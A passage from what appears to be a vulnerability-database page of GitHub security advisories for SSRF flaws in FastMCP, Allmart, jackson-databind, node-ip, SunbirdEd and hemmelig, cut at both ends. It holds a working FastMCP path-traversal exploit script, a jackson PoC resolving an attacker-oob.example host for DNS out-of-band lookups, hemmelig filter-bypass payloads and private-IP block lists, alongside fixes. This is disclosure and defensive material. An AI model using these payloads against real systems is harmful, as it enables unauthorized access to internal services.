url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The \u0027?\u0027 character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider\u0027s authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider\u0027s authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider\u0027s security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "id": "GHSA-vv7q-7jx5-f767",
  "modified": "2026-04-10T19:34:35Z",
  "published": "2026-03-31T22:53:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/pull/3507"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PrefectHQ/fastmcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastMCP OpenAPI Provider has an SSRF \u0026 Path Traversal Vulnerability"
}

GHSA-VVCP-MP6Q-W29J

Vulnerability from github – Published: 2025-07-04 12:30 – Updated: 2026-04-01 18:35
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in TeconceTheme Allmart allows Server Side Request Forgery. This issue affects Allmart: from n/a through 1.0.0.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49418"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-04T12:15:31Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in TeconceTheme Allmart allows Server Side Request Forgery. This issue affects Allmart: from n/a through 1.0.0.",
  "id": "GHSA-vvcp-mp6q-w29j",
  "modified": "2026-04-01T18:35:45Z",
  "published": "2025-07-04T12:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49418"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/allmart-core/vulnerability/wordpress-allmart-1-0-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVGP-RFG2-7RR6

Vulnerability from github – Published: 2026-09-28 20:17 – Updated: 2026-09-28 20:17
VLAI
Summary
jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization
Details

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.

Details

File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java

Sibling cases in the same switch: - Line 357-358 (UNFIXED): case STD_INET_ADDRESS: return InetAddress.getByName(value); // eager forward DNS lookup - Line 359-381 + helper at 494-496 (FIXED by PR #5951): protected InetSocketAddress _inetSocketAddress(String host, int port) { // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup: return InetSocketAddress.createUnresolved(host, port); // no DNS }

InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.

The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.

Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.

PoC

Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.

A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:

ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);

Observed output (jackson 2.18.8): [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example

A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.

Reachability with a plain field (no annotations, no polymorphism, no default typing): static class Config { public InetAddress bindHost; public int port; } mapper.readValue("{\"bindHost\":\"poc-reach.example\",\"port\":1}", Config.class); // -> resolver invoked on "poc-reach.example"

Impact

An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.

Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).

Credit : Ta Duc Thien

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.18.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.22.0"
            },
            {
              "fixed": "2.22.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-databind"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-28T20:17:41Z",
    "nvd_published_at": "2026-08-24T20:17:20Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nCVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind\u0027s deserialization of `java.net.InetSocketAddress` by switching to `InetSocketAddress.createUnresolved(...)` (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling `java.net.InetAddress` branch in the very same `FromStringDeserializer.Std._deserialize()` switch statement, which still calls `InetAddress.getByName(value)` and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through `InetAddress`.\n\n### Details\nFile: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java\n\nSibling cases in the same switch:\n- Line 357-358 (UNFIXED):\n    case STD_INET_ADDRESS:\n        return InetAddress.getByName(value);     // eager forward DNS lookup\n- Line 359-381 + helper at 494-496 (FIXED by PR #5951):\n    protected InetSocketAddress _inetSocketAddress(String host, int port) {\n        // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup:\n        return InetSocketAddress.createUnresolved(host, port);   // no DNS\n    }\n\n`InetAddress` is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an `InetAddress`-typed target \u2014 a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot \u2014 reaches `InetAddress.getByName(attackerControlledString)`, which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.\n\nThe parent fix\u0027s own added unit test asserts `address.isUnresolved()` with the comment \"should NOT resolve address\", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.\n\nVerified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through `_inetSocketAddress -\u003e createUnresolved`, while `InetAddress.getByName` is still emitted unchanged in the InetAddress branch.\n\n### PoC\nLab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.\n\nA custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:\n\n    ObjectMapper m = new ObjectMapper();\n    // InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true\n    m.readValue(\"\\\"internal-metadata.attacker-oob.example:8080\\\"\", InetSocketAddress.class);\n    // InetAddress (unpatched sibling): 1 resolver lookup on the attacker host\n    m.readValue(\"\\\"internal-metadata.attacker-oob.example\\\"\", InetAddress.class);\n\nObserved output (jackson 2.18.8):\n    [A] InetSocketAddress  isUnresolved=true  resolverLookups=0  lastHost=null\n    [B] InetAddress        value=localhost/127.0.0.1  resolverLookups=1  lastHost=internal-metadata.attacker-oob.example\n\nA standalone variant (no SPI) using an RFC-6761 `.invalid` canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.\n\nReachability with a plain field (no annotations, no polymorphism, no default typing):\n    static class Config { public InetAddress bindHost; public int port; }\n    mapper.readValue(\"{\\\"bindHost\\\":\\\"poc-reach.example\\\",\\\"port\\\":1}\", Config.class);\n    // -\u003e resolver invoked on \"poc-reach.example\"\n\n### Impact\nAn attacker who can influence JSON deserialized into an `InetAddress` target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.\n\nSuggested fix: avoid eager resolution for InetAddress as well \u2014 e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).\n\nCredit : Ta Duc Thien",
  "id": "GHSA-vvgp-rfg2-7rr6",
  "modified": "2026-09-28T20:17:41Z",
  "published": "2026-09-28T20:17:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-vvgp-rfg2-7rr6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77310"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/pull/6058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/commit/2fc7bd9057dd051d7dea0e5fcad89822d0fa5ebd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-databind"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization"
}

GHSA-VVH3-7X7M-53XF

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-09-16 15:32
VLAI
Details

The ip (aka node-ip) package through 2.0.1 (in NPM) might allow SSRF because the IP address value 0 is improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2024-29415. NOTE: in current versions of several applications, connection attempts to the IP address 0 (interpreted as 0.0.0.0) are blocked with error messages such as net::ERR_ADDRESS_INVALID. However, in some situations that depend on both application version and operating system, connection attempts to 0 and 0.0.0.0 are considered connection attempts to 127.0.0.1 (and, for this reason, a false value of isPublic would be preferable).

Severity
3.2 (Low)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-59437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T06:16:05Z",
    "severity": "LOW"
  },
  "details": "The ip (aka node-ip) package through 2.0.1 (in NPM) might allow SSRF because the IP address value 0 is improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2024-29415. NOTE: in current versions of several applications, connection attempts to the IP address 0 (interpreted as 0.0.0.0) are blocked with error messages such as net::ERR_ADDRESS_INVALID. However, in some situations that depend on both application version and operating system, connection attempts to 0 and 0.0.0.0 are considered connection attempts to 127.0.0.1 (and, for this reason, a false value of isPublic would be preferable).",
  "id": "GHSA-vvh3-7x7m-53xf",
  "modified": "2025-09-16T15:32:31Z",
  "published": "2025-09-16T15:32:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59437"
    },
    {
      "type": "WEB",
      "url": "https://cosmosofcyberspace.github.io/CVE-Application-Document.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/tags"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVV2-P9HV-8634

Vulnerability from github – Published: 2026-03-11 15:31 – Updated: 2026-03-11 15:31
VLAI
Details

An issue pertaining to CWE-918: Server-Side Request Forgery was discovered in Sunbird-Ed SunbirdEd-portal v1.13.4. This allows attackers to obtain sensitive information

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-70027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-11T15:16:21Z",
    "severity": "HIGH"
  },
  "details": "An issue pertaining to CWE-918: Server-Side Request Forgery was discovered in Sunbird-Ed SunbirdEd-portal v1.13.4. This allows attackers to obtain sensitive information",
  "id": "GHSA-vvv2-p9hv-8634",
  "modified": "2026-03-11T15:31:52Z",
  "published": "2026-03-11T15:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70027"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/zcxlighthouse/6eac455e9094ae313a1c39c25d520b3d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sunbird-Ed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sunbird-Ed/SunbirdEd-portal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VVXF-WJ5W-6GJ5

Vulnerability from github – Published: 2025-12-29 21:31 – Updated: 2025-12-29 21:31
VLAI
Summary
hemmelig allows SSRF Filter bypass via Secret Request functionality
Details

Summary

A Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., localtest.me which resolves to 127.0.0.1) or open redirect services (e.g., httpbin.org/redirect-to). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.

Details

The vulnerability exists in the isPublicUrl function located in /api/lib/utils.ts. The function validates webhook URLs against a blocklist of private IP patterns:

export const isPublicUrl = (url: string): boolean => {
    const parsed = new URL(url);
    const hostname = parsed.hostname.toLowerCase();

    const blockedPatterns = [
        /^localhost$/,
        /^127\.\d{1,3}\.\d{1,3}\.\d{1,3}$/,
        /^192\.168\.\d{1,3}\.\d{1,3}$/,
        // ... other patterns
    ];

    return !blockedPatterns.some((pattern) => pattern.test(hostname));
};

The validation is flawed because:

  1. DNS Rebinding Bypass: It only checks the hostname string, not the resolved IP address. Domains like localtest.me pass validation (not matching any blocked pattern) but resolve to 127.0.0.1.

  2. Open Redirect Bypass: External URLs like httpbin.org/redirect-to?url=http://127.0.0.1 pass validation since httpbin.org is a public domain. When the server follows the redirect, it connects to the internal address.

PoC

Optional: On the container that runs Hemmelig application, host a temporary port with the following command: 

node -e "require('http').createServer((req,res)=>{console.log(req.method,req.url,req.headers);res.end('ok')}).listen(8080,()=>console.log('Listening on 8080'))"
  1. Log in as an user
  2. Switch to Secret Requests tab and create a new request
  3. When inside the request dialog, there are 2 possible payloads that can be used on the Webhook URL input to bypass SSRF
1. Using domain redirect: http://localtest.me:PORT
2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT
  1. Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request. image

Otherwise, if the port doesn't exist, a similar error in the logs can be found:

Secret request webhook delivery failed after retries: TypeError: fetch failed
    at node:internal/deps/undici/undici:15845:13
    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
    at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {
  [cause]: Error: connect ECONNREFUSED 127.0.0.1:80
      at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {
    errno: -111,
    code: 'ECONNREFUSED',
    syscall: 'connect',
    address: '127.0.0.1',
    port: 80
  }
}

Impact

While the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.

Remediation

Replace hostname-based validation with IP resolution checking:

import { isIP } from 'is-ip';
import dns from 'dns/promises';

export const isPublicUrl = async (url: string): Promise<boolean> => {
    const parsed = new URL(url);
    const hostname = parsed.hostname;

    // Resolve hostname to IP
    let addresses: string[];
    try {
        if (isIP(hostname)) {
            addresses = [hostname];
        } else {
            addresses = await dns.resolve4(hostname).catch(() => []);
            const ipv6 = await dns.resolve6(hostname).catch(() => []);
            addresses = [...addresses, ...ipv6];
        }
    } catch {
        return false;
    }

    // Check resolved IPs against blocklist
    const privateRanges = [
        /^127\./,
        /^10\./,
        /^192\.168\./,
        /^172\.(1[6-9]|2\d|3[0-1])\./,
        /^169\.254\./,
        /^::1$/,
        /^fe80:/i,
        /^fc00:/i,
        /^fd/i,
    ];

    return addresses.length > 0 && !addresses.some(ip => 
        privateRanges.some(pattern => pattern.test(ip))
    );
};

Additionally, disable following redirects in the webhook fetch call or re-validate the URL after each redirect.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hemmelig"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69206"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-29T21:31:04Z",
    "nvd_published_at": "2025-12-29T16:15:44Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) filter bypass vulnerability exists in the webhook URL validation of the Secret Requests feature. The application attempts to block internal/private IP addresses but can be bypassed using DNS rebinding (e.g., `localtest.me` which resolves to `127.0.0.1`) or open redirect services (e.g., `httpbin.org/redirect-to`). This allows an authenticated user to make the server initiate HTTP requests to internal network resources.\n\n### Details\nThe vulnerability exists in the `isPublicUrl` function located in `/api/lib/utils.ts`. The function validates webhook URLs against a blocklist of private IP patterns:\n\n```typescript\nexport const isPublicUrl = (url: string): boolean =\u003e {\n    const parsed = new URL(url);\n    const hostname = parsed.hostname.toLowerCase();\n    \n    const blockedPatterns = [\n        /^localhost$/,\n        /^127\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/,\n        /^192\\.168\\.\\d{1,3}\\.\\d{1,3}$/,\n        // ... other patterns\n    ];\n    \n    return !blockedPatterns.some((pattern) =\u003e pattern.test(hostname));\n};\n```\n\n**The validation is flawed because:**\n\n1. **DNS Rebinding Bypass**: It only checks the hostname string, not the resolved IP address. Domains like `localtest.me` pass validation (not matching any blocked pattern) but resolve to `127.0.0.1`.\n\n2. **Open Redirect Bypass**: External URLs like `httpbin.org/redirect-to?url=http://127.0.0.1` pass validation since `httpbin.org` is a public domain. When the server follows the redirect, it connects to the internal address.\n\n### PoC\nOptional: On the container that runs Hemmelig application, host a temporary port with the following command: \n```\nnode -e \"require(\u0027http\u0027).createServer((req,res)=\u003e{console.log(req.method,req.url,req.headers);res.end(\u0027ok\u0027)}).listen(8080,()=\u003econsole.log(\u0027Listening on 8080\u0027))\"\n```\n1. Log in as an user\n2. Switch to `Secret Requests` tab and create a new request\n3. When inside the request dialog, there are 2 possible payloads that can be used on the `Webhook URL` input to bypass SSRF\n```\n1. Using domain redirect: http://localtest.me:PORT\n2. Using httpbin to perform a redirect: httpbin.org/redirect-to?url=http://127.0.0.1:PORT\n```\n4. Open a new browser/tab and confirm the request by creating a secret. Upon clicking save, the port we hosted we receive a request. \n\u003cimg width=\"795\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95d559e5-ead2-4b5d-8e53-9ddec3416953\" /\u003e\n\nOtherwise, if the port doesn\u0027t exist, a similar error in the logs can be found:\n```\nSecret request webhook delivery failed after retries: TypeError: fetch failed\n    at node:internal/deps/undici/undici:15845:13\n    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)\n    at async sendSecretRequestWebhook (/app/api/routes/secret-requests.ts:58:34) {\n  [cause]: Error: connect ECONNREFUSED 127.0.0.1:80\n      at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1637:16) {\n    errno: -111,\n    code: \u0027ECONNREFUSED\u0027,\n    syscall: \u0027connect\u0027,\n    address: \u0027127.0.0.1\u0027,\n    port: 80\n  }\n}\n```\n### Impact\nWhile the SSRF filter can be bypassed, the practical impact is limited because this is a Blind SSRF, there is no response reflected. But with certain technique like response-timing, the attackers can still indicate whether or not a port is opened.\n\n### Remediation\nReplace hostname-based validation with IP resolution checking:\n```typescript\nimport { isIP } from \u0027is-ip\u0027;\nimport dns from \u0027dns/promises\u0027;\n\nexport const isPublicUrl = async (url: string): Promise\u003cboolean\u003e =\u003e {\n    const parsed = new URL(url);\n    const hostname = parsed.hostname;\n    \n    // Resolve hostname to IP\n    let addresses: string[];\n    try {\n        if (isIP(hostname)) {\n            addresses = [hostname];\n        } else {\n            addresses = await dns.resolve4(hostname).catch(() =\u003e []);\n            const ipv6 = await dns.resolve6(hostname).catch(() =\u003e []);\n            addresses = [...addresses, ...ipv6];\n        }\n    } catch {\n        return false;\n    }\n    \n    // Check resolved IPs against blocklist\n    const privateRanges = [\n        /^127\\./,\n        /^10\\./,\n        /^192\\.168\\./,\n        /^172\\.(1[6-9]|2\\d|3[0-1])\\./,\n        /^169\\.254\\./,\n        /^::1$/,\n        /^fe80:/i,\n        /^fc00:/i,\n        /^fd/i,\n    ];\n    \n    return 